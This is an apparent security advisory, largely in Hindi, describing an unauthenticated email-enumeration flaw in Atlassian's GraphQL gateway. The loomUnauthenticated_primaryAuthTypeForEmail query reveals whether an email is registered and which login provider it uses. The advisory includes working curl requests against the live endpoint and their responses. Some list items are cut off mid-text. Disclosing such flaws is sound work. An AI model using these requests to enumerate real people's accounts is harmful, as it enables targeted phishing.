
CVE-2026-XXXX: Atlassian GraphQL Email Enumeration Oracle (CWE-204, CVSS 5.3 MEDIUM)
Atlassian Central GraphQL Gateway (api.atlassian.com/graphql)
CWE-204: Observable Response Discrepancy — ईमेल एनुमरेशन ओरेकल
मध्यम — CVSS 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Atlassian के केंद्रीय GraphQL गेटवे पर loomUnauthenticated_primaryAuthTypeForEmail GraphQL क्वेरी इस बात पर निर्भर करती है कि ईमेल पता Atlassian के साथ पंजीकृत है या नहीं, अलग-अलग प्रतिक्रियाएँ लौटाती है, जिससे अप्रमाणित उपयोगकर्ता एनुमरेशन संभव होता है।
पंजीकृत ईमेल → authType (जैसे workos, password, google) और एक रीडायरेक्ट URI लौटाता है
अपंजीकृत ईमेल → बिना किसी रीडायरेक्ट URI के authType: "none" लौटाता है
किसी प्रमाणीकरण की आवश्यकता नहीं है। क्वेरी नाम में "Unauthenticated" शामिल है — यह जानबूझकर सार्वजनिक है, लेकिन इसे किसी भी ईमेल के Atlassian खाता होने की जानकारी लीक नहीं करनी चाहिए।
https://api.atlassian.com/graphqlcurl -s "https://api.atlassian.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType hasActiveMemberships redirectUri } }"}'
प्रतिक्रिया:
{
"data": {
"loomUnauthenticated_primaryAuthTypeForEmail": {
"authType": "workos",
"hasActiveMemberships": false,
"redirectUri": "https://www.loom.com/api/auth/workos?email=admin%40atlassian.com"
}
}
}
curl -s "https://api.atlassian.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType } }"}'
प्रतिक्रिया:
{
"data": {
"loomUnauthenticated_primaryAuthTypeForEmail": {
"authType": "none"
}
}
}
authType: "workos" पुष्टि करता है कि ईमेल WorkOS SSO का उपयोग करता है। authType: "google" या authType: "password" प्रमाणीकरण विधि लीक कर देगा। यह लक्षित फिशिंग को सक्षम बनाता है।
एक अप्रमाणित हमलावर यह कर सकता है:
loomUnauthenticated_primaryAuthTypeForEmail क्वेरी कोई दर-सीमा नहीं लगाती है और बिना प्रमाणीकरण के किसी भी ईमेल के लिए प्रमाणीकरण प्रदाता जानकारी लौटाती है। जबकि एंडपॉइंट जानबूझकर अप्रमाणित है (Loom की साइनअप प्रक्रिया के लिए), यह लीक करता है कि ईमेल का खाता है या नहीं और वे किस प्रमाणीकरण प्रदाता का उपयोग करते हैं।
पूरी तरह से परीक्षण के बाद, ये दावे अमान्य पाए गए:
aaid: "unidentified" है)ValidationError के साथ विफल होते हैं)unidentified के रूप में सही ढंग से पहचानता है)Wh4l3X